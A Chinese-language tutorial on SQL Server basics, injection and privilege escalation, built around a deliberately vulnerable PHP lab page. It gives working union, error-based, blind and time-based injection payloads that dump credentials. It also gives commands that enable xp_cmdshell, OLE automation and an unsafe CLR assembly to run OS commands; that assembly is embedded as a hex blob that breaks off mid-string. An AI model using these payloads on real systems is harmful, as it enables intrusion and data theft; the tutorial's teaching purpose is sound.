SQL Server注入技巧与提权方式详解

前言 #

本文详细的介绍了Sql Server安全基础,包括环境搭建,T-sql语法,sqlserver用户权限,以及sqlserver注入的方法和提权方式。

Microsoft SQL Server(微软结构化查询语言服务器),也叫Mssql,是由美国微软公司所推出的关系型数据库。默认端口号为1433

常见版本如下

版本

年份

发布名称

8.0

2000年

SQL Server 2000

8.0

2003年

SQL Server 2000 64-bit版本

9.0

2005年

SQL Server 2005

10.0

2008年

SQL Server 2008

10.25

2009年

SQL Azure

10.50

2010年

SQL Server 2008 R2

11.0

2012年

SQL Server 2012

12.0

2014年

SQL Server 2014

13.0

2016年

SQL Server 2016

14.0

2017/09/29

SQL Server 2017

15.0

2019/11/4

SQL Server 2019

Mssql常用场景

  • 学校
  • 政府
  • OA
  • 棋牌游戏
  • 人事考试网站

常见搭配:asp/aspx+sqlserver

一、SQL Server基础 #

1. SQL Server 2012安装启动 #

  • win2012
  • sqlserver 2012

安装

下载地址:MSDN, 我告诉你 - 做一个安静的工具站,如下复制下载链接,使用迅雷打开进行下载

下载到99.99%的时候可能会卡主,不要点击暂停再继续下载,这样可能会导致文件损坏安装不了。稍等一会让它自动下载完成。下载完后计算一下sha1值,看是否文件破损

certutil -hashfile cn_sql_server_2012_enterprise_core_edition_with_sp1_x64_dvd_1234496.iso sha1

接下来可以进行安装,整个安装过程还是比较简单,可参考:SQL Server 2012 安装教程_柚子君.的博客-CSDN博客_sqlserver2012安装教程

这里我使用的混合模式进行身份验证

启动

开始-搜索 " ssms",然后双击“Microsoft SQL Server Management Studio”

其中服务器名称如果是在本地登录则可以输:127.0.0.1,localhost,. ,计算机名。远程登录则输:服务器ip,端口。

输入账号 sa ,密码为安装时设定的,点击连接

如下,成功连接

navicat远程连接 #

  • 版本:Navicat Premium16

sqlserver 2012安装完后就默认允许远程连接

主机填写 ip,端口

Navicat并没有初始化安装sqlncli, 所以连接的时候会报没有默认驱动,点击是进行安装

安装之后就能正常连接了

2. SQL Server概念 #

数据库的组成 #

如下,我们新建一个数据库,右键新建数据库

输入数据库名称,然后改下数据库文件的存储路径

新建完后,能看到多出来了两个文件

在sqlserver中:

  • 数据库以文件的形式存在
  • 数据库由文件和文件组组成

数据库文件

  • 主要数据文件:存放数据和数据库的初始化信息。每个数据库有且只能有一个主要数据文件。.mdf结尾
  • 次要数据文件:存放除了主要数据文件以外的所有数据文件。次要数据文件不是必须的,可以没有。如果有的话,可以是一个,也可以有多个。.ndf扩展名
  • 事务日志文件:存放用户回复数据库的所有日志信息。每个数据库至少要有一个日志文件,也可以有多个。.ldf结尾

文件组

文件组:是数据库文件的一种逻辑管理单位,它将数据库文件分成不同的文件组,方便对文件的分配和管理。分为两种类型

  • 主文件组 Primary :主要数据文件和没有明确指派给其他文件组的文件。
  • 用户自定义的文件组:Create DataBase或 alter database 语句,fileGroup关键字指定的文件组

设计原则:

  • 文件只能是一个文件组的成员
  • 文件或文件组不能由一个以上的数据库使用
  • 白志不能作为文件组的一部分。

数据库中常用对象 #

在一个数据库中又存在很多类似菜单栏一样的东西,我们可以称为数据库中的对象

在数据库中新建表,如下,然后输入表的字段名,ctrl+s保存然后输入表的名字“student”

然后刷新

就可以看到刚才新建的表,dbo.表名

数据库中的常用对象含义如下:

  1. 表:包含数据库中所有数据的对象,行和列组成。用于组织和存储数据。
  2. 字段:表中的列,一个表可以有多个列。数据类型(决定了该字段存储哪种类型的数据),大小(长度)
  3. 视图:表(虚拟表)一张或多张表中导出的表,用户查看数据的一种方式,结构和数据是建立在对表的查询基础之上的。
  4. 索引:为了给用户提供一种快速访问数据的途径,索引是依赖于表而建立,检索数据时,不用对整个表进行扫描,可以快速找到所需的数据。
  5. 存储过程:是一组为了完成特定功能的SQL语句的集合(可以有查询、插入、修改、删除),编译后,存储在数据库中,以名称进行调用,当调用执行时,这些操作就会被执行。
  6. 触发器:在数据库中,属于用户定义的SQL事务命令集合,针对于表来说,当对表执行增删改操作时命令就会自动触发而去执行。
  7. 约束:对数据表的列,进行的一种限制。可以更好的规范表中的列。
  8. 缺省值:对表中的列可以指定一个默认值,当进行插入时,如果没有为这个列插入值,那么就会自动以预先设置默认值进行自动补充。

默认库介绍 #

SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。

  • master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
  • model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
  • msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
  • tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。

3. T-SQL语言 #

在mysql中使用sql对数据库进行操作,而在sqlserver中使用的是Transaction-SQL,简称T-SQL。T-SQL是在sql基础之上的一种数据库编程语言

创建数据库 #

  1. 用T-sql新建一个名为TestNewBase的数据库,语句如下

use master
--创建数据库
create database TestNewBase
on primary --主文件组
(
  name='TestNewBase', --数据库主要数据文件的名字(逻辑名称)
  filename='C:\DB\TestNewBase.mdf',
  size=5MB, --数据库主要文件的初始大小
  filegrowth=1MB --文件的增量
)
log on --创建日志文件
(
  name='TestNewBase_log', --数据库日志文件的名字
  filename='C:\DB\TestNewBase_log.mdf',
  size=1MB, --数据日志文件的初始大小
  filegrowth=10% --日志文件的增量
)
go    --执行语句

这个过程其实和图形化新建数据库是一样的

创建新的数据库为什么要 use master?

master:系统数据库,它记录了SOL Server系统的所有系统级信息,还记录了所有其他数据库文件的位置,及SQL Server的初始化信息等。

创建表 #

在TestNewBase中新建两张表,新建表的时候要同时指明字段信息

use TestNewBase

--新建表
create table ProductInfos
(
	id int identity(1,1) primary key not null, --identity(1,1) 从1开始编号,设置为主键
	ProNo varchar(50) not null,
	ProName nvarchar(50) not null,
	TypeId int not null,
	Price decimal(18,2) null,
	ProCount int null
)

create table ProductType
(
	TypeId int identity(1,1) primary key not null,
	TypeName nvarchar(50) not null
)
go   

插入数据 #

使用insert在users表中插入数据

use TestDB

-- inseret (into) 表名(列名,列名,列名...) values (值,值...)
insert into users(id,name,age) values ('1','wgy','18')

--或者
-- inseret into 表名(列名,列名,列名...) select 值,值...
insert into users(id,name,age) select 2,'xcc',20

以窗口的形式查看表中的数据

基础语法总结 #

  • T-sql和sql一样,单词不区分大小写
  • 注释符: -- 和 /*......*/
  • 语句不强制以分号结尾

数据操作类

select --查询 insert --插入 DELETE --删除 UPDATE --更新

数据定义类

create table --创建表 drop table --删除表 alert table --修改表结构

create database xx            --新建数据库

USE master;drop DATABASE Testdb    --删除数据库
  1. 查询所有数据库
Select Name FROM Master.dbo.SysDatabases orDER BY Name
--或者
select * from sys.databases;  --很详细的输出

--查询当前数据库名
select db_name()

  1. 获取当前数据库所有表名
Select Name FROM SysObjects Where XType='U' orDER BY Name
--XType='U':表示所有用户表;
--XType='S':表示所有系统表;
  1. 获取表中所有字段名
Select Name FROM SysColumns Where id=Object_Id('users');
  1. 查询表中的所有数据
select * from users

4. sqlserver权限 #

sqlserver中的权限控制被分成服务器和数据库两个级别,一个服务器可以包含多个数据库。

服务器级别的权限可以让我们控制登录、服务器资源操作等,而数据库级别的权限可以让我们对具体的表/视图/数据等数据库内资源进行操作控制。

  • 在服务器级别,SQL server为我们提供了:服务器角色、登录名和安全对象。

服务器默认有10个登录名(安装时选择的功能不同,数量也会有差别),其中sa默认拥有服务器角色sysadmin(最高权限)和public。(可以把角色理解为权限的集合,如windows中的组)

  • 在数据库级别,SQL server为我们提供了:数据库角色、用户名、架构和安全对象。

新建一个数据库默认拥有10个角色,其中public角色是每个数据库用户必须拥有的,不可撤销;db_owner角色表示数据库的拥有者(默认被dbo账户拥有),对这个数据库拥有至高的权力,相当于服务器角色中的sysadmin。

新建一个数据库,默认拥有四个用户,其中dbo账户拥有数据库角色db_owner,也就是说拥有了数据库的至高操作权力

当我们进行远程连接sqlserver时,需要提供服务器级别的登录名来登录到服务器,如下面的sa用户

新建用户并赋予权限 #

如何给服务器新建一个类似于sa的用户了?

设置登录名

选择服务器角色,授予用户权限,这里选择和sa用户一样的角色,这样就拥有管理员权限

接着就可以使用该用户进行登录了

权限总结 #

在渗透测试中我们关注的是sqlserver服务器级别的权限,可以把权限简单的归个类:

  • sa权限:即服务器角色sysadmin。拥有数据库操作,文件管理,命令执行,注册表读取等权限。SQLServer数据库的最高权限
  • db权限:文件管理,数据库操作等权限 users-administrators
  • public权限:数据库操作 guest-users

判断当前用户权限

--判断是否是SA权限
select is_srvrolemember('sysadmin')     
--判断是否是db_owner权限  
select is_member('db_owner')
--判断是否是public权限
select is_srvrolemember('public')

二、Sqlserver手工注入 #

sqlServer注入也叫MSSQL注入,是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路。

对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sql server中注释符“--”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。

select @@version       --查询数据库的版本
select host_name()     --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name()       --查询当前数据库名
select db_name(1)      --查询第一个数据库名
select db_name(2)      --查询第二个数据库名,前6个数据库为默认库
select user            --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner

--判断是否是SA权限
select is_srvrolemember('sysadmin')     
--判断是否是db_owner权限  
select is_member('db_owner')
--判断是否是public权限
select is_srvrolemember('public')

环境搭建 #

为什么这里推荐手动搭建环境而不用在线靶机了?因为自己搭建的环境更加有利于自身对sqlserver注入漏洞的理解。

实验环境:

  • sqlserver 2012
  • phpstudy2018,php5.6.27(为了方便使用php语言,asp语言有点麻烦)
  1. 在sqlserver中新建数据库和表
--第一步
use master
create database News
--第二步
use News
create table sys
(
	uid int primary key not null,
	name nvarchar(50) not null,
	age nvarchar(50) not null
)
create table Users
(
	id int primary key not null,
	username nvarchar(50) not null,
	passwd nvarchar(50) not null
)
insert into users(id,username,passwd) values ('1','alice','18')
insert into users(id,username,passwd) values ('2','wgy','18')
insert into users(id,username,passwd) values ('3','alun','17')
go
  1. phpstudy添加sqlsrv扩展

下载:Download Microsoft Drivers for PHP for SQL Server from Official Microsoft Download Center

右键解压得出下面的dll文件,因为我的php版本是5.6,所以将如下两个dll文件复制到 “phpStudy\PHPTutorial\php\php-5.6.27-nts"中

并在php.ini中添加如下两行

extension=php_sqlsrv_56_nts.dll
extension=php_pdo_sqlsrv_56_nts.dll
  1. 安装ODBC Driver

ODBC Driver 下载 https://files.cnblogs.com/files/wtcl/sqlserverodbc.zip

电脑是64位的则安装64位的。

最后重启phpstudy,查看phpinfo,如果存在如下扩展则说明安装成功

  1. 在www目录下添加一个php文件,源码如下:
<?php
header("Content-Type:text/html;charset=gbk");

$conn = sqlsrv_connect('127.0.0.1', array('Database' => 'News', 'UID' => 'sa' , 'PWD' => 'Sqlserver123'));

if($conn == false){
	var_dump(sqlsrv_errors());exit;
}
$id = $_GET["id"];
$sql = "SELECT * FROM Users where id = $id";
echo "SQL Server injection exercise!"."<br/>"."<br/>";
echo "sql: ".$sql;
echo "<hr>";
$result = sqlsrv_query($conn, $sql);
var_dump(sqlsrv_errors());
echo "<hr>";
if ( $re = sqlsrv_fetch_array($result)) {
	echo $re['username']."\t".$re['passwd'];
}
?>

到此,环境搭建完成,开始手工注入学习!

注入手法 #

总的来说和mysql注入的方法差不多,差别在于一些函数的不同

1. 联合查询 #

MSSQL的系统自带库–>master。其实在每个网站中,一般一个网站不会跨库,而在MSSQL中每个库都有一个系统自带表–>sysobjects

此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段。name就是表名信息。xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表。id字段的值用来连接syscolumns表

top关键字:由于MSSQL中不存在limit,那么想要输出一条数据怎么办呢,直接top 1,输出两条数据top 2

  1. 判断是否是mssql
mssql.php?id=1 and exists(select * from sysobjects) --+

返回正常,说明网站使用的数据库是Mssql!

  1. 判断字段长度
mssql.php?id=1 order by 3--+   --正常
mssql.php?id=1 order by 4--+   --报错

order by 3返回正常,说明字段长度是3!

  1. 寻找字符串显示位
mssql.php?id=-1 union all select 11,22,33 --+

如下两个显示位可以利用

  1. 查询相关信息

@@version-:获取版本信息

db_name():数据库名字

获取当前数据库名

mssql.php?id=-1 union all select 11,22,db_name() --+

  1. 查询表名

将获取到的数据库名与.sys.sysobjects拼接

mssql.php?id=-1 union all select 11,22,(select top 1 name from News.dbo.sysobjects where xtype='u')

查询出了第一个表名Users

然后查第二个,如果想显示更多数据再在后面加and name != '第一次输出中的表名'以此类推

mssql.php?id=-1 union all select 11,22,(select top 1 name from News.dbo.sysobjects where xtype='u' and name !='Users') --

  1. 获取列名
?id=-1 union all select 11,22,(select top 1 col_name(object_id('users'),1) from sysobjects) --
--col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名。查询第2列则将1改为2

这样查询出了列为 id username passwd

  1. 获取数据

获取username字段的数据

--获取username第一行的值
?id=-1 union all select 11,22, (select top 1 username from users)  --
--获取username第二行的值
?id=-1 union all select 11,22, (select top 1 username from users where id=2)
--获取username第三行的值--
?id=-1 union all select 11,22, (select top 1 username from users where id=3)  --

得到username值:alice wgy alun

以同样的方式获取passwd值

?id=-1 union all select 11,22, (select top 1 passwd from users)  --
?id=-1 union all select 11,22, (select top 1 passwd from users where id=2)  --
......

这样数据库中的信息通过联合查询注入就都获取到了!

2. 报错注入 #

mssql数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。

对于报错注入,这里会使用到,convert()函数,CONVERT()函数是把⽇期转换为新数据类型的通⽤函数。

语法:

CONVERT(data_type(length),data_to_be_converted,style)
--注释 :
data_type(length) 转换为⽬标数据类型(带有可选的长度)。
data_to_be_converted 含有需要转换的值。
style 规定⽇期/时间的输出格式。

示例

select CONVERT(VARCHAR(19),GETDATE())
select CONVERT(VARCHAR(10),GETDATE(),110) 
select CONVERT(VARCHAR(11),GETDATE(),106)
select CONVERT(VARCHAR(24),GETDATE(),113)

结果类似

Dec 29 2008 11:45 PM
12-29-2008
29 Dec 08
29 Dec 2008 16:25:46.635

故,对于 convert(int,@@version),convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到这个SQL查询的结果了。

满⾜条件的函数还有很多:

convert() 
file_name() 
db_name() 
col_name() 
filegroup_name()
object_name() 
schema_name() 
type_name() 
cast()

convert()函数

  1. 查询基本信息
convert(int,@@version)     获取版本信息 
convert(int,db_name())     数据库名字 
convert(int,user)      当前⽤户名 
convert(int,@@SERVERNAME)  获取有关服务器主机的信息

获取当前数据库

mssql.php?id=2 and 1=convert(int,db_name()) --
--或者
mssql.php?id=convert(int,db_name()) --

--或者
mssql.php?id=1 and 1=convert(int,db_name(0)) --   --查询当前数据库
mssql.php?id=1 and 1=convert(int,db_name(1)) --   --查询第二个数据库,以此类推

或者同时将所有数据库爆出来

mssql.php?id=1 and  1=convert(int,stuff((select quotename(name) from sys.databases for xml path('')),1,0,''))--

  1. 爆表名
mssql.php?id=1 and 1=CONVERT(int,(select top 1 table_name from information_schema.columns)) --

得出Users表

同时爆News中的所有表

mssql.php?id=1 and  1=convert(int,stuff((select  quotename(name) from news.sys.objects where type='U' for xml path('')),1,0,'')) --

得出表:Users manage sys

  1. 爆字段

爆news数据库Users表中的所有字段

mssql.php?id=1 and  1=convert(int,stuff((select quotename(name) from news.sys.columns where object_id=object_id('users') for xml path('')),1,0,'')) --

  1. 爆数据

爆Users表中username字段的所有数据

mssql.php?id=1 and 1=convert(int,stuff((select quotename(username) from users for xml path('')),1,0,''))--

爆Users表中passwd字段的所有数据

mssql.php?id=1 and 1=convert(int,stuff((select quotename(passwd) from users for xml path('')),1,0,''))--

cast()函数

--获取当前数据库名
?id=1 and 1=(select cast(db_name() as int)) --

直接报错

等号两边数据类型不一致配合子查询获取数据。

  1. 获取当前数据库名
mssql.php?id=1 and 1=(select db_name()) --

获取所有数据库

?id=1 and 1=(stuff((select quotename(name) from sys.databases for xml path('')),1,0,'')) --

  1. 获取库中的所有表
?id=1 and 1=(stuff((select  quotename(name) from news.sys.objects where type='U' for xml path('')),1,0,'')) --

  1. 获取表中的所有字段
?id=1 and 1=(stuff((select quotename(name) from news.sys.columns where object_id=object_id('users') for xml path('')),1,0,'')) --
  1. 获取所有数据

获取Users表中username字段的所有数据

?id=1 and 1=(stuff((select quotename(username) from users for xml path('')),1,0,'')) --

3. 布尔盲注 #

如果不能直接通过页面查看到数据库返回的信息,页面根据用户的输入只回显两种状态true和false,则可以通过构造逻辑判断(比较大小)来得到需要的信息

  1. 判断是否存在盲注

和mysql盲注一样,先如下测试,看是否存在布尔盲注

and 1=1--     --正常显示
and 1=2--     --不正常
  1. 猜测当前数据库名长度
/mssql.php?id=2 and len((select db_name()))=3 --   --数据库名长度为3个字符,页面不显示
/mssql.php?id=2 and len((select db_name()))=4 --   --数据库名长度为4个字符,页面正常显示

所以数据库名长度为4个字符

  1. 获取当前数据库名

查询数据库名第一个字符的ascii码为78,对应字母N

?id=2 and ascii(substring((select db_name()),1,1))>78 --  
?id=2 and ascii(substring((select db_name()),1,1))=78 --  

编辑

查询数据库名第二个字符的ascii码为78,对应字母e

?id=2 and ascii(substring((select db_name()),2,1))>101 --  --false
?id=2 and ascii(substring((select db_name()),2,1))=101 --  --true

按照同样的方法获取到数据库名为“News”

4. 延时注入 #

延时函数:WAITFOR DELAY

WAITFOR是SQL Server中Transact-SQL提供的⼀个流程控制语句。它的作⽤就是等待特定时间,然后继续执⾏后续的语句。它包含⼀个参数DELAY,⽤来指定等待的时间。

如果将该语句成功注⼊后,会造成数据库返回记录和 Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注⼊成功。根据Web请求是否有延迟,渗透测试⼈员就可以判断⽹站是否存在注⼊漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测⽅法。

语法:

WAITFOR DELAY '0:0:n'  --  表⽰延迟n秒
  1. 判断是否存在注入
?id=2 WAITFOR DELAY '0:0:5' --

  1. 猜测当前数据库名长度
?id=2 if (len((select db_name()))=4) WAITFOR DELAY '0:0:4' --数据库长度为4字符则延时4s
  1. 猜测数据库名

查询数据库名第一个字符的ascii码为78,对应字母N

?id=2  if (ascii(substring((select top 1 db_name()),1,1))=78) WAITFOR DELAY '0:0:4' --延时响应4s

其实这过程和布尔盲注类似,可以完全套用布尔盲注中的测试语句,将其中的and去了,然后再在后面的语句外面套一个if ()语句就行。

三、SQlserver提权 #

sql server提权(执行命令)主要依赖于sql server自带的存储过程。目的:sqlserver权限 —> 系统权限

存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过程。

主要分为系统存储过程、扩展存储过程、用户自定义的存储过程三大类。

  • 系统存储过程主要存储在master数据库中,以sp_为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
  • 扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_为前缀,使用方法与系统存储过程类似;
  • 用户定义的存储过程是SQLServer的使用者编写的存储过程。

getshell #

要执行系统命令,首先需获取sqlserver数据库的权限(一般是sa),然后借助数据库自带的存储过程进行提权,由开始的sqlserver权限提升到执行操作系统命令的权限。

xp_cmdshell执行系统命令 #

xp_cmdshell可以让系统管理员以操作cmd的方式执行给定的命令,并以文本方式返回输出,是一个功能非常强大的扩展存储过程。xp_cmdshell在SQLserver2000中默认开启,可以直接执行系统命令。2005本身及之后的版本默认禁止,所以想要使用其,就需要拥有SA账号相应权限,使用sp_configure将其开启。

2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service。

  1. 判断是否为sa权限,返回1则是
select is_srvrolemember('sysadmin')
  1. 判断 xp_cmdshell 是否存在,1就是存在,0就是不存在
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' 

当结果为0时,可以通过下列命令恢复

如果xp_cmdshell被删除,则可以通过下列命令重新加载。

dbcc addextendedproc("xp_cmdshell","xplog70.dll");

如果连xplog70.dll也被删除,则可以通过下列命令恢复(未验证)

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';
  1. 开启 xp_cmdshell

返回ok,则成功

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
--关闭xp_cmdshell
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',0;RECONFIGURE;

如果不开启,直接执行命令的话会报错

  1. 执行系统命令
exec xp_cmdshell 'whoami';
--或
EXEC master..xp_cmdshell 'whoami'

可以看到当前用户权限是 network service权限,也有可能是system 权限,这个是跟安装过程中,设置启动服务的用户权限相关,建议使用 network service 权限,毕竟如果是 system 权限,那么对于攻击者而言都省下提权的操作了,如图:

如果在安装过程中"sql server数据库引擎"服务选择system账户

那么执行命令时,则为system权限

sp_oacreate执行系统命令 #

当xp_cmdshell被删除时,可以借助SQLServer中的COM组件SP_OACREATE来执行系统命令,原理是SQL Server提供了一些函数访问OLE对象,分别是sp_oacreate和sp_oamethod,可利用它们调用OLE控件,间接获取一个shell。

  1. 使用下面命令查看是否可使用 sp_oacreate 执行系统命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'

如果SQLServer 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate' 的访问,可以使用以下命令打开。

EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;

  1. 执行命令

这个没有 xp_cmdshell 好用的地方就是不能回显,可以将执行命令的结果进行重定向,然后再在系统中进行查看,比如命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\test.txt' 

那我们可以再使用type命令查看文件内容吗?答案是不行!如下,查看文件内容无任何回显。只能登录到系统中查看

使用CLR执行系统命令 #

从SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。

这种方法比较麻烦,需要自行根据目标创建项目代码,然后进行编译,当然这里直接使用已经编译好的文件的代码

--1.启用MSSQL CLR功能,为了导入了不安全的程序集,我们还需要将数据库标记为安全。
exec sp_configure 'show advanced options', 1;RECONFIGURE;Exec sp_configure 'clr enabled', 1;RECONFIGURE;ALTER DATABASE [master] SET TRUSTWORTHY ON;

--2.导入程序集(单独执行)
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f0063002000